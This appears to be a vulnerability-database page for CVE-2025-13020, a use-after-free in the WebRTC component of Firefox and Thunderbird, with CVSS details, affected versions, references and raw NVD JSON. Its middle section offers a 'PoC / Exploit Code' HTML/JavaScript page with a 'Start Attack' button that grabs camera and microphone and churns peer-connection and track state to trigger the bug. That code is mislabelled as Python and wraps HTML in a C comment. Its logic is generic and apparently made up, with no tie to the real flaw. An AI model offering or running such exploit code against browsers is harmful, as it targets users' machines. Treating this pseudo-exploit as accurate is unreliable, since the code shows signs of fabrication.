CVE-2025-13020

Description

Use-after-free in the WebRTC: Audio/Video component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 145

Mozilla Firefox ESR < 140.5

Mozilla Thunderbird < 145

Mozilla Thunderbird < 140.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/* CVE-2025-13020 PoC - WebRTC Use-after-free
 * Target: Mozilla Firefox < 145, Firefox ESR < 140.5, Thunderbird < 145/140.5
 * Description: Triggers use-after-free in WebRTC Audio/Video component
 * Usage: Host this HTML and open in vulnerable Firefox/Thunderbird
 */

<!DOCTYPE html>
<html>
<head><title>CVE-2025-13020 PoC</title></head>
<body>
<h1>WebRTC Use-after-free PoC</h1>
<button id="startBtn">Start Attack</button>
<video id="localVideo" autoplay></video>
<video id="remoteVideo"></video>

<script>
const startBtn = document.getElementById('startBtn');
let peerConnection = null;
let localStream = null;

async function startAttack() {
    try {
        // Get local media stream
        localStream = await navigator.mediaDevices.getUserMedia({
            video: { width: 1920, height: 1080, frameRate: 60 },
            audio: true
        });
        
        document.getElementById('localVideo').srcObject = localStream;
        
        // Create peer connection
        peerConnection = new RTCPeerConnection({
            iceServers: [{ urls: 'stun:stun.example.com' }]
        });
        
        // Add local stream tracks
        localStream.getTracks().forEach(track => {
            peerConnection.addTrack(track, localStream);
        });
        
        // Create data channel for additional manipulation
        const dataChannel = peerConnection.createDataChannel('exploit');
        
        peerConnection.ontrack = (event) => {
            document.getElementById('remoteVideo').srcObject = event.streams[0];
            // Trigger rapid stream manipulation
            triggerUAF(event.streams[0]);
        };
        
        // Create and set local offer
        const offer = await peerConnection.createOffer({
            offerToReceiveAudio: 1,
            offerToReceiveVideo: 1
        });
        await peerConnection.setLocalDescription(offer);
        
        // Rapid connection state changes to trigger race condition
        for (let i = 0; i < 100; i++) {
            peerConnection.restartIce();
            await new Promise(r => setTimeout(r, 10));
        }
        
    } catch (error) {
        console.error('Attack error:', error);
    }
}

function triggerUAF(stream) {
    // Manipulate stream to trigger use-after-free in Audio/Video component
    const videoTracks = stream.getVideoTracks();
    const audioTracks = stream.getAudioTracks();
    
    // Rapid track removal/addition
    for (let i = 0; i < 50; i++) {
        videoTracks.forEach(track => stream.removeTrack(track));
        audioTracks.forEach(track => stream.removeTrack(track));
        stream.addTrack(videoTracks[0]);
        stream.addTrack(audioTracks[0]);
    }
    
    // Force garbage collection if available
    if (window.gc) window.gc();
    
    // Access potentially freed memory
    console.log('Stream tracks:', stream.getTracks());
}

startBtn.onclick = startAttack;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13020
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13020
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13020/
[4] VulDB https://vuldb.com/cve/CVE-2025-13020
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1995686
[6] https://www.mozilla.org/security/advisories/mfsa2025-87/
[7] https://www.mozilla.org/security/advisories/mfsa2025-88/
[8] https://www.mozilla.org/security/advisories/mfsa2025-90/
[9] https://www.mozilla.org/security/advisories/mfsa2025-91/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13020", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.097", "lastModified": "2026-04-13T15:16:43.353", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the WebRTC: Audio/Video component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.5.0", "matchCriteriaId": "D77916A6-B8C6-475D-8D77-D5D3AA1E1F43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1995686", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}